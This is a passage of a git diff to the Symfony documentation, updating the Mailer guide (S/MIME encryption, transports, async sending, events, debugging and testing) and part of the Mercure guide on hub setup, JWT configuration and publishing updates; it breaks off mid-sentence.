7.3 + + Global message signing was introduced in Symfony 7.3. + +Encrypting Messages +~~~~~~~~~~~~~~~~~~~ + +When encrypting a message, the entire message (including attachments) is +encrypted using a certificate. Therefore, only the recipients that have the +corresponding private key can read the original message contents:: + + use Symfony\Component\Mime\Crypto\SMimeEncrypter; + use Symfony\Component\Mime\Email; + + $email = (new Email()) + ->from('hello@example.com') + // ... + ->html('...'); + + $encrypter = new SMimeEncrypter('/path/to/certificate.crt'); + $encryptedEmail = $encrypter->encrypt($email); + // now use the Mailer component to send this $encryptedEmail instead of the original email + +You can pass more than one certificate to the ``SMimeEncrypter`` constructor and it will select the appropriate certificate depending on the ``To`` option:: $firstEmail = (new Email()) @@ -902,6 +1540,88 @@ and it will select the appropriate certificate depending on the ``To`` option:: $firstEncryptedEmail = $encrypter->encrypt($firstEmail); $secondEncryptedEmail = $encrypter->encrypt($secondEmail); +Encrypting Messages Globally +............................ + +Instead of creating a new encrypter for each email, you can configure a global S/MIME +encrypter that automatically applies to all outgoing messages: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/mailer.yaml + framework: + mailer: + smime_encrypter: + repository: App\Security\LocalFileCertificateRepository + + .. code-block:: xml + + <!-- config/packages/mailer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <!-- ... --> + <framework:config> + <framework:mailer> + <framework:smime-encrypter> + <framework:repository>App\Security\LocalFileCertificateRepository</framework:repository> + </framework:smime-encrypter> + </framework:mailer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/mailer.php + use App\Security\LocalFileCertificateRepository; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $mailer = $framework->mailer(); + $mailer->smimeEncrypter() + ->repository(LocalFileCertificateRepository::class) + ; + }; + +The ``repository`` option is the ID of a service that implements +:class:`Symfony\\Component\\Mailer\\EventListener\\SmimeCertificateRepositoryInterface`. +This interface requires only one method: ``findCertificatePathFor()``, which must +return the file path to the certificate associated with the given email address:: + + namespace App\Security; + + use Symfony\Component\DependencyInjection\Attribute\Autowire; + use Symfony\Component\Mailer\EventListener\SmimeCertificateRepositoryInterface; + + class LocalFileCertificateRepository implements SmimeCertificateRepositoryInterface + { + public function __construct( + #[Autowire(param: 'kernel.project_dir')] + private readonly string $projectDir + ){} + + public function findCertificatePathFor(string $email): ?string + { + $hash = hash('sha256', strtolower(trim($email))); + $path = sprintf('%s/storage/%s.crt', $this->projectDir, $hash); + + return file_exists($path) ? $path : null; + } + } + +.. versionadded:: 7.3 + + Global message encryption configuration was introduced in Symfony 7.3. + +.. _multiple-email-transports: + Multiple Email Transports ------------------------- @@ -943,26 +1663,29 @@ This can be configured by replacing the ``dsn`` configuration entry with a .. code-block:: php // config/packages/mailer.php - $container->loadFromExtension('framework', [ - // ... - 'mailer' => [ - 'transports' => [ - 'main' => '%env(MAILER_DSN)%', - 'alternative' => '%env(MAILER_DSN_IMPORTANT)%', - ], - ], - ]); - -By default the first transport is used. The other transports can be used by -adding a text header ``X-Transport`` to an email:: - - // Send using first "main" transport ... + use Symfony\Config\FrameworkConfig; + use function Symfony\Component\DependencyInjection\Loader\Configurator\env; + + return static function (FrameworkConfig $framework): void { + $framework->mailer() + ->transport('main', env('MAILER_DSN')) + ->transport('alternative', env('MAILER_DSN_IMPORTANT')) + ; + }; + +By default the first transport is used. The other transports can be selected by +adding an ``X-Transport`` header (which Mailer will remove automatically from +the final email):: + + // Send using first transport ("main"): $mailer->send($email); - // ... or use the "alternative" one + // ... or use the transport "alternative": $email->getHeaders()->addTextHeader('X-Transport', 'alternative'); $mailer->send($email); +.. _mailer-sending-messages-async: + Sending Messages Async ---------------------- @@ -987,7 +1710,7 @@ you have a transport called ``async``, you can route the message there: async: "%env(MESSENGER_TRANSPORT_DSN)%" routing: - 'Symfony\Component\Mailer\Messenger\SendEmailMessage': async + 'Symfony\Component\Mailer\Messenger\SendEmailMessage': async .. code-block:: xml @@ -1003,6 +1726,7 @@ you have a transport called ``async``, you can route the message there: <framework:config> <framework:messenger> + <framework:transport name="async">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport> <framework:routing message-class="Symfony\Component\Mailer\Messenger\SendEmailMessage"> <framework:sender service="async"/> </framework:routing> @@ -1013,25 +1737,105 @@ you have a transport called ``async``, you can route the message there: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'routing' => [ - 'Symfony\Component\Mailer\Messenger\SendEmailMessage' => 'async', - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->messenger() + ->transport('async')->dsn(env('MESSENGER_TRANSPORT_DSN')); + + $framework->messenger() + ->routing('Symfony\Component\Mailer\Messenger\SendEmailMessage') + ->senders(['async']); + }; + +Thanks to this, instead of being delivered immediately, messages will be sent +to the transport to be handled later (see :ref:`messenger-worker`). Note that +the "rendering" of the email (computed headers, body rendering, ...) is also +deferred and will only happen just before the email is sent by the Messenger +handler. + +When sending an email asynchronously, its instance must be serializable. +This is always the case for :class:`Symfony\\Component\\Mailer\\Mailer` +instances, but when sending a +:class:`Symfony\\Bridge\\Twig\\Mime\\TemplatedEmail`, you must ensure that +the ``context`` is serializable. If you have non-serializable variables, +like Doctrine entities, either replace them with more specific variables or +render the email before calling ``$mailer->send($email)``:: -Thanks to this, instead of being delivered immediately, messages will be sent to -the transport to be handled later (see :ref:`messenger-worker`). + use Symfony\Component\Mailer\MailerInterface; + use Symfony\Component\Mime\BodyRendererInterface; -Adding Tags and Metadata to Emails ----------------------------------- + public function action(MailerInterface $mailer, BodyRendererInterface $bodyRenderer): void + { + $email = (new TemplatedEmail()) + ->htmlTemplate($template) + ->context($context) + ; + $bodyRenderer->render($email); + + $mailer->send($email); + } + +You can configure which bus is used to dispatch the message using the ``message_bus`` option. +You can also set this to ``false`` to call the Mailer transport directly and +disable asynchronous delivery. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/mailer.yaml + framework: + mailer: + message_bus: app.another_bus -.. versionadded:: 5.1 + .. code-block:: xml - The :class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and - :class:`Symfony\\Component\\Mailer\\Header\\MetadataHeader` classes were - introduced in Symfony 5.1. + <!-- config/packages/messenger.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:mailer + message_bus="app.another_bus" + > + </framework:mailer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/mailer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->mailer() + ->messageBus('app.another_bus'); + }; + +.. note:: + + In cases of long-running scripts, and when Mailer uses the + :class:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport` + you may manually disconnect from the SMTP server to avoid keeping + an open connection to the SMTP server in between sending emails. + You can do so by using the ``stop()`` method. + +You can also select the transport by adding an ``X-Bus-Transport`` header (which +will be removed automatically from the final message):: + + // Use the bus transport "app.another_bus": + $email->getHeaders()->addTextHeader('X-Bus-Transport', 'app.another_bus'); + $mailer->send($email); + +Adding Tags and Metadata to Emails +---------------------------------- Certain 3rd party transports support email *tags* and *metadata*, which can be used for grouping, tracking and workflows. You can add those by using the @@ -1056,13 +1860,205 @@ If your transport does not support tags and metadata, they will be added as cust The following transports currently support tags and metadata: -* Postmark +* Brevo * Mailgun -* MailChimp +* Mailtrap +* Mandrill +* Postmark +* Sendgrid + +The following transports only support tags: + +* MailPace +* Resend + +The following transports only support metadata: + +* Amazon SES (note that Amazon refers to this feature as "tags", but Symfony + calls it "metadata" because it contains a key and a value) + +Draft Emails +------------ + +:class:`Symfony\\Component\\Mime\\DraftEmail` is a special instance of +:class:`Symfony\\Component\\Mime\\Email`. Its purpose is to build up an email +(with body, attachments, etc) and make available to download as an ``.eml`` with +the ``X-Unsent`` header. Many email clients can open these files and interpret +them as *draft emails*. You can use these to create advanced ``mailto:`` links. + +Here's an example of making one available to download:: + + // src/Controller/DownloadEmailController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpFoundation\ResponseHeaderBag; + use Symfony\Component\Mime\DraftEmail; + use Symfony\Component\Routing\Attribute\Route; + + class DownloadEmailController extends AbstractController + { + #[Route('/download-email')] + public function __invoke(): Response + { + $message = (new DraftEmail()) + ->html($this->renderView(/* ... */)) + ->addPart(/* ... */) + ; + + $response = new Response($message->toString()); + $contentDisposition = $response->headers->makeDisposition( + ResponseHeaderBag::DISPOSITION_ATTACHMENT, + 'download.eml' + ); + $response->headers->set('Content-Type', 'message/rfc822'); + $response->headers->set('Content-Disposition', $contentDisposition); + + return $response; + } + } + +.. note:: + + As it's possible for :class:`Symfony\\Component\\Mime\\DraftEmail`'s to be created + without a To/From they cannot be sent with the mailer. + +Mailer Events +------------- + +MessageEvent +~~~~~~~~~~~~ + +**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` + +``MessageEvent`` allows to change the Mailer message and the envelope before +the email is sent:: + + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\Mailer\Event\MessageEvent; + use Symfony\Component\Mime\Email; + + public function onMessage(MessageEvent $event): void + { + $message = $event->getMessage(); + if (!$message instanceof Email) { + return; + } + // do something with the message (logging, ...) + + // and/or add some Messenger stamps + $event->addStamp(new SomeMessengerStamp()); + } + +If you want to stop the Message from being sent, call ``reject()`` (it will +also stop the event propagation):: + + use Symfony\Component\Mailer\Event\MessageEvent; + + public function onMessage(MessageEvent $event): void + { + $event->reject(); + } + +Execute this command to find out which listeners are registered for this event +and their priorities: + +.. code-block:: terminal + + $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent" + +.. _mailer-sent-message-event: + +SentMessageEvent +~~~~~~~~~~~~~~~~ + +**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\SentMessageEvent` + +``SentMessageEvent`` allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage` +class to access the original message (``getOriginalMessage()``) and some +:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as +the HTTP calls made by the HTTP transports, which is useful for debugging errors:: + + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\Mailer\Event\SentMessageEvent; + + public function onMessage(SentMessageEvent $event): void + { + $message = $event->getMessage(); + + // do something with the message (e.g. get its id) + } + +Execute this command to find out which listeners are registered for this event +and their priorities: + +.. code-block:: terminal + + $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\SentMessageEvent" + +.. _mailer-failed-message-event: + +FailedMessageEvent +~~~~~~~~~~~~~~~~~~ + +**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\FailedMessageEvent` + +``FailedMessageEvent`` allows acting on the initial message in case of a failure +and some :ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) +such as the HTTP calls made by the HTTP transports, which is useful for debugging errors:: + + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\Mailer\Event\FailedMessageEvent; + use Symfony\Component\Mailer\Exception\TransportExceptionInterface; + + public function onMessage(FailedMessageEvent $event): void + { + // e.g you can get more information on this error when sending an email + $error = $event->getError(); + if ($error instanceof TransportExceptionInterface) { + $error->getDebug(); + } + + // do something with the message + } + +Execute this command to find out which listeners are registered for this event +and their priorities: + +.. code-block:: terminal + + $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\FailedMessageEvent" Development & Debugging ----------------------- +.. _mail-catcher: + +Enabling an Email Catcher +~~~~~~~~~~~~~~~~~~~~~~~~~ + +When developing locally, it is recommended to use an email catcher. If you have +enabled Docker support via Symfony recipes, an email catcher is automatically +configured. In addition, if you are using the :doc:`Symfony CLI </setup/symfony_cli>` +tool, the mailer DSN is automatically exposed via the +:ref:`symfony binary Docker integration <symfony-server-docker>`. + +Sending Test Emails +~~~~~~~~~~~~~~~~~~~ + +Symfony provides a command to send emails, which is useful during development +to test if sending emails works correctly: + +.. code-block:: terminal + + # the only mandatory argument is the recipient address + # (check the command help to learn about its options) + $ php bin/console mailer:test someone@example.com + +This command bypasses the :doc:`Messenger bus </messenger>`, if configured, to +ease testing emails even when the Messenger consumer is not running. + Disabling Delivery ~~~~~~~~~~~~~~~~~~ @@ -1075,10 +2071,11 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments): .. code-block:: yaml - # config/packages/dev/mailer.yaml - framework: - mailer: - dsn: 'null://null' + # config/packages/mailer.yaml + when@dev: + framework: + mailer: + dsn: 'null://null' .. code-block:: xml @@ -1100,12 +2097,13 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments): .. code-block:: php // config/packages/mailer.php - $container->loadFromExtension('framework', [ + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { // ... - 'mailer' => [ - 'dsn' => 'null://null', - ], - ]); + $framework->mailer() + ->dsn('null://null'); + }; .. note:: @@ -1122,11 +2120,12 @@ a specific address, instead of the *real* address: .. code-block:: yaml - # config/packages/dev/mailer.yaml - framework: - mailer: - envelope: - recipients: ['youremail@example.com'] + # config/packages/mailer.yaml + when@dev: + framework: + mailer: + envelope: + recipients: ['youremail@example.com'] .. code-block:: xml @@ -1152,23 +2151,152 @@ a specific address, instead of the *real* address: .. code-block:: php // config/packages/mailer.php - $container->loadFromExtension('framework', [ + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { // ... - 'mailer' => [ - 'envelope' => [ - 'recipients' => ['youremail@example.com'], - ], - ], - ]); + $framework->mailer() + ->envelope() + ->recipients(['youremail@example.com']) + ; + }; -.. _`high availability`: https://en.wikipedia.org/wiki/High_availability -.. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing) +Use the ``allowed_recipients`` option to define specific addresses that should +still receive their original emails. These messages will also be sent to the +address(es) defined in ``recipients``, as with all other emails: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/mailer.yaml + when@dev: + framework: + mailer: + envelope: + recipients: ['youremail@example.com'] + allowed_recipients: + - 'internal@example.com' + # you can also use regular expression to define allowed recipients + - 'internal-.*@example.(com|fr)' + + .. code-block:: xml + + <!-- config/packages/mailer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <!-- ... --> + <framework:config> + <framework:mailer> + <framework:envelope> + <framework:recipient>youremail@example.com</framework:recipient> + <framework:allowed-recipient>internal@example.com</framework:allowed-recipient> + <!-- you can also use regular expression to define allowed recipients --> + <framework:allowed-recipient>internal-.*@example.(com|fr)</framework:allowed-recipient> + </framework:envelope> + </framework:mailer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/mailer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // ... + $framework->mailer() + ->envelope() + ->recipients(['youremail@example.com']) + ->allowedRecipients([ + 'internal@example.com', + // you can also use regular expression to define allowed recipients + 'internal-.*@example.(com|fr)', + ]) + ; + }; + +With this configuration, all emails will be sent to ``youremail@example.com``. +Additionally, emails sent to ``internal@example.com``, ``internal-monitoring@example.fr``, +etc., will also be delivered to those addresses. + +.. versionadded:: 7.1 + + The ``allowed_recipients`` option was introduced in Symfony 7.1. + +Write a Functional Test +~~~~~~~~~~~~~~~~~~~~~~~ + +Symfony provides lots of :ref:`built-in mailer assertions <mailer-assertions>` +to functionally test that an email was sent, its contents or headers, etc. +They are available in test classes extending +:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase` or when using +the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`:: + + // tests/Controller/MailControllerTest.php + namespace App\Tests\Controller; + + use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; + + class MailControllerTest extends WebTestCase + { + public function testMailIsSentAndContentIsOk(): void + { + $client = static::createClient(); + $client->request('GET', '/mail/send'); + $this->assertResponseIsSuccessful(); + + $this->assertEmailCount(1); // use assertQueuedEmailCount() when using Messenger + + $email = $this->getMailerMessage(); + + $this->assertEmailHtmlBodyContains($email, 'Welcome'); + $this->assertEmailTextBodyContains($email, 'Welcome'); + } + } + +.. tip:: + + If your controller returns a redirect response after sending the email, make + sure to have your client *not* follow redirects. The kernel is rebooted after + following the redirection and the message will be lost from the mailer event + handler. + +.. _`AhaSend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/AhaSend/README.md +.. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md +.. _`Azure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Azure/README.md +.. _`App Password`: https://support.google.com/accounts/answer/185833 +.. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Brevo/README.md +.. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout +.. _`DKIM`: https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail .. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css +.. _`Google Gmail`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Google/README.md +.. _`high availability`: https://en.wikipedia.org/wiki/High_availability +.. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Infobip/README.md +.. _`Inky`: https://get.foundation/emails/docs/inky.html .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown +.. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing) +.. _`MailerSend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/MailerSend/README.md +.. _`Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md +.. _`Mailgun`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailgun/README.md +.. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailjet/README.md .. _`Markdown syntax`: https://commonmark.org/ -.. _`Inky`: https://get.foundation/emails/docs/inky.html -.. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME -.. _`DKIM`: https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail +.. _`Mailomat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailomat/README.md +.. _`MailPace`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/MailPace/README.md .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail -.. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout +.. _`Postal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postal/README.md +.. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md +.. _`Mailtrap`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailtrap/README.md +.. _`Resend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Resend/README.md +.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt +.. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME +.. _`Scaleway`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Scaleway/README.md +.. _`SendGrid`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendgrid/README.md +.. _`Sweego`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sweego/README.md diff --git a/mercure.rst b/mercure.rst index 7132d6c9a38..459a4f18297 100644 --- a/mercure.rst +++ b/mercure.rst @@ -1,6 +1,3 @@ -.. index:: - single: Mercure - Pushing Data to Clients Using the Mercure Protocol ================================================== @@ -14,19 +11,20 @@ notifying the user when :doc:`an asynchronous job </messenger>` has been completed or creating chat applications are among the typical use cases requiring "push" capabilities. -Symfony provides a straightforward component, built on top of +Symfony provides a simple component, built on top of `the Mercure protocol`_, specifically designed for this class of use cases. -Mercure is an open protocol designed from the ground to publish updates from +Mercure is an open protocol designed from the ground up to publish updates from server to clients. It is a modern and efficient alternative to timer-based polling and to WebSocket. Because it is built on top `Server-Sent Events (SSE)`_, Mercure is supported -out of the box in most modern browsers (Edge and IE require `a polyfill`_) and -has `high-level implementations`_ in many programming languages. +out of the box in modern browsers (old versions of Edge and IE require +`a polyfill`_) and has `high-level implementations`_ in many programming +languages. Mercure comes with an authorization mechanism, -automatic re-connection in case of network issues +automatic reconnection in case of network issues with retrieving of lost updates, a presence API, "connection-less" push for smartphones and auto-discoverability (a supported client can automatically discover and subscribe to updates of a given resource @@ -34,10 +32,6 @@ thanks to a specific HTTP header). All these features are supported in the Symfony integration. -Unlike WebSocket, which is only compatible with HTTP 1.x, -Mercure leverages the multiplexing capabilities provided by HTTP/2 -and HTTP/3 (but also supports older versions of HTTP). - `In this recording`_ you can see how a Symfony web API leverages Mercure and API Platform to update in live a React app and a mobile app (React Native) generated using the API Platform client generator. @@ -45,11 +39,10 @@ generated using the API Platform client generator. Installation ------------ -Installing the Symfony Component -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Installing the Symfony Bundle +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to -install the Mercure support before using it: +Run this command to install the Mercure support: .. code-block:: terminal @@ -63,74 +56,153 @@ that handles persistent SSE connections with the clients. The Symfony app publishes the updates to the hub, that will broadcast them to clients. -.. image:: /_images/mercure/schema.png - -An official and open source (AGPL) implementation of a Hub can be downloaded -as a static binary from `Mercure.rocks`_. +.. raw:: html -Run the following command to start it: + <object data="_images/mercure/hub.svg" type="image/svg+xml" + alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients." + ></object> -.. code-block:: terminal +In production, you have to install a Mercure hub by yourself. +An official and open source (AGPL) hub based on the Caddy web server +can be downloaded as a static binary from `Mercure.rocks`_. +A Docker image, a Helm chart for Kubernetes +and a managed, High Availability Hub are also provided. - $ ./mercure --jwt-key='!ChangeMe!' --addr='localhost:3000' --allow-anonymous --cors-allowed-origins='*' +Thanks to :doc:`the Docker integration of Symfony </setup/docker>`, +:ref:`Flex <symfony-flex>` proposes to install a Mercure hub for development. +Run ``docker-compose up`` to start the hub if you have chosen this option. -.. note:: +If you use the :ref:`Symfony local web server <symfony-cli-server>`, +you must start it with the ``--no-tls`` option to prevent mixed content and +invalid TLS certificate issues: - Alternatively to the binary, a Docker image, a Helm chart for Kubernetes - and a managed, High Availability Hub are also provided by Mercure.rocks. +.. code-block:: terminal -.. tip:: + $ symfony server:start --no-tls -d - The `API Platform distribution`_ comes with a Docker Compose configuration - as well as a Helm chart for Kubernetes that are 100% compatible with Symfony, - and contain a Mercure hub. - You can copy them in your project, even if you don't use API Platform. +If you use the Docker integration, a hub is already up and running. Configuration ------------- -The preferred way to configure the MercureBundle is using +The preferred way to configure MercureBundle is using :doc:`environment variables </configuration>`. -Set the URL of your hub as the value of the ``MERCURE_PUBLISH_URL`` env var. -The ``.env`` file of your project has been updated by the Flex recipe to -provide example values. -Set it to the URL of the Mercure Hub (``http://localhost:3000/.well-known/mercure`` by default). +When MercureBundle has been installed, the ``.env`` file of your project +has been updated by the Flex recipe to include the available env vars. + +Also, if you are using the Docker integration with the Symfony Local Web Server, +`Symfony Docker`_ or the `API Platform distribution`_, +the proper environment variables have been automatically set. +Skip straight to the next section. + +Otherwise, set the URL of your hub as the value of the ``MERCURE_URL`` +and ``MERCURE_PUBLIC_URL`` env vars. +Sometimes a different URL must be called by the Symfony app (usually to publish), +and the JavaScript client (usually to subscribe). It's especially common when +the Symfony app must use a local URL and the client-side JavaScript code a public one. +In this case, ``MERCURE_URL`` must contain the local URL used by the +Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL`` +the publicly available URL (e.g. ``https://example.com/.well-known/mercure``). + +The clients must also bear a `JSON Web Token`_ (JWT) +to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe. + +This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeThisMercureHubJWTSecretKey!`` if you use the Docker integration). +This secret key must be stored in the ``MERCURE_JWT_SECRET`` environment variable. +MercureBundle will use it to automatically generate and sign the needed JWTs. + +In addition to these environment variables, +MercureBundle provides a more advanced configuration: + +* ``secret``: the key to use to sign the JWT - A key of the same size as the hash output (for instance, 256 bits for "HS256") or larger MUST be used. (all other options, beside ``algorithm``, ``subscribe``, and ``publish`` will be ignored) +* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided) +* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided) +* ``algorithm``: The algorithm to use to sign the JWT (only usable when ``secret`` is provided) +* ``provider``: The ID of a service to call to provide the JWT (all other options will be ignored) +* ``factory``: The ID of a service to call to create the JWT (all other options, beside ``subscribe``, and ``publish`` will be ignored) +* ``value``: the raw JWT to use (all other options will be ignored) -In addition, the Symfony application must bear a `JSON Web Token`_ (JWT) -to the Mercure Hub to be authorized to publish updates. +.. configuration-block:: -This JWT should be stored in the ``MERCURE_JWT_TOKEN`` environment variable. + .. code-block:: yaml -The JWT must be signed with the same secret key as the one used by -the Hub to verify the JWT (``!ChangeMe!`` in our example). -Its payload must contain at least the following structure to be allowed to -publish: + # config/packages/mercure.yaml + mercure: + hubs: + default: + url: '%env(string:MERCURE_URL)%' + public_url: '%env(string:MERCURE_PUBLIC_URL)%' + jwt: + secret: '%env(string:MERCURE_JWT_SECRET)%' + publish: ['https://example.com/foo1', 'https://example.com/foo2'] + subscribe: ['https://example.com/bar1', 'https://example.com/bar2'] + algorithm: 'hmac.sha256' + provider: 'My\Provider' + factory: 'My\Factory' + value: 'my.jwt' -.. code-block:: json + .. code-block:: xml - { - "mercure": { - "publish": [] - } - } + <!-- config/packages/mercure.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <config> + <hub + name="default" + url="%env(string:MERCURE_URL)%" + public_url="%env(string:MERCURE_PUBLIC_URL)%" + > <!-- public_url defaults to url --> + <jwt + secret="%env(string:MERCURE_JWT_SECRET)%" + algorithm="hmac.sha256" + provider="My\Provider" + factory="My\Factory" + value="my.jwt" + > + <publish>https://example.com/foo1</publish> + <publish>https://example.com/foo2</publish> + <subscribe>https://example.com/bar1</subscribe> + <subscribe>https://example.com/bar2</subscribe> + </jwt> + </hub> + </config> -Because the array is empty, the Symfony app will only be authorized to publish -public updates (see the authorization_ section for further information). + .. code-block:: php + + // config/packages/mercure.php + $container->loadFromExtension('mercure', [ + 'hubs' => [ + 'default' => [ + 'url' => '%env(string:MERCURE_URL)%', + 'public_url' => '%env(string:MERCURE_PUBLIC_URL)%', + 'jwt' => [ + 'secret' => '%env(string:MERCURE_JWT_SECRET)%', + 'publish' => ['https://example.com/foo1', 'https://example.com/foo2'], + 'subscribe' => ['https://example.com/bar1', 'https://example.com/bar2'], + 'algorithm' => 'hmac.sha256', + 'provider' => 'My\Provider', + 'factory' => 'My\Factory', + 'value' => 'my.jwt', + ], + ], + ], + ]); .. tip:: - The jwt.io website is a convenient way to create and sign JWTs. - Checkout this `example JWT`_, that grants publishing rights for all *topics* - (notice the star in the array). - Don't forget to set your secret key properly in the bottom of the right panel of the form! + The JWT payload must contain at least the following structure for the client to be allowed to + publish: -.. caution:: + .. code-block:: json - Don't put the secret key in ``MERCURE_JWT_TOKEN``, it will not work! - This environment variable must contain a JWT, signed with the secret key. + { + "mercure": { + "publish": ["*"] + } + } - Also, be sure to keep both the secret key and the JWTs... secrets! + The jwt.io website is a convenient way to create and sign JWTs, checkout this `example JWT`_. + Don't forget to set your secret key properly in the bottom of the right panel of the form! Basic Usage ----------- @@ -149,21 +221,21 @@ service, including controllers:: // src/Controller/PublishController.php namespace App\Controller; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Mercure\PublisherInterface; + use Symfony\Component\Mercure\HubInterface; use Symfony\Component\Mercure\Update; - class PublishController + class PublishController extends AbstractController { - public function __invoke(PublisherInterface $publisher): Response + public function publish(HubInterface $hub): Response { $update = new Update( - 'http://example.com/books/1', + 'https://example.com/books/1', json_encode(['status' => 'OutOfStock']) ); - // The Publisher service is an invokable 